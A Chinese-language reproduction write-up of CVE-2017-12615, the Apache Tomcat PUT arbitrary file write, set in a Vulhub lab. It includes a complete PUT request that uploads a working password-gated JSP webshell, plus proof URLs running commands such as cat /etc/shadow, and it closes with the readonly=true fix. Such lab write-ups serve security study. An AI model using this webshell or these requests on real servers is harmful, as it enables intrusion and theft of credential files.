感謝互聯網提供分享知識與智慧,在法治的社會里,請遵守有關法律法規(guī)
說明 | 內容 |
---|---|
漏洞編號 | CVE-2017-12615 |
漏洞名稱 | Tomcat_PUT方法任意寫文件 |
漏洞評級 | 高危 |
影響范圍 | Tomcat版本:8.5.19 |
漏洞描述 | 漏洞本質Tomcat配置了可寫(readonly=false),導致我們可以往服務器寫文件 |
修復方案 | 設置readonly為true |
1.1、漏洞描述
當 Tomcat運行在Windows操作系統(tǒng)時,且啟用了HTTP PUT請求方法(例如,將 readonly 初始化參數由默認值設置為 false),攻擊者將有可能可通過精心構造的攻擊請求數據包向服務器上傳包含任意代碼的 JSP 文件,JSP文件中的惡意代碼將能被服務器執(zhí)行。導致服務器上的數據泄露或獲取服務器權限
1.2、漏洞等級
高危
1.3、影響版本
Tomcat版本:8.5.19
1.4、漏洞復現
1、基礎環(huán)境
Path:Vulhub/tomcat/CVE-2017-12615
啟動測試環(huán)境:
sudo docker-compose up -d
訪問http://your-ip:8080/
即可看到Tomcat的Example頁面
2、漏洞掃描
nacs工具
nuclei工具
3、漏洞驗證
工具掃描驗證
通過nuclei
工具掃出來的結果,驗證漏洞存在
http://192.168.80.141:8080/poc.jsp?cmd=cat+%2Fetc%2Fshadow
http://192.168.80.141:8080/poc.jsp?cmd=cat+%2Fetc%2Fpasswd
http://192.168.80.141:8080/poc.jsp?cmd=whoami
POC
用burpsuite 進行抓包并做如下修改(GET請求改為PUT,修改名字,并在下面添加jsp的shell)
PUT /6.jsp/ HTTP/1.1
Host: 192.168.80.141:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 667
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
文章來源:http://www.zghlxwxcb.cn/news/detail-745530.html
1.6、修復建議
設置readonly為true文章來源地址http://www.zghlxwxcb.cn/news/detail-745530.html
到了這里,關于【漏洞復現】Apache_Tomcat_PUT方法任意寫文件(CVE-2017-12615)的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網!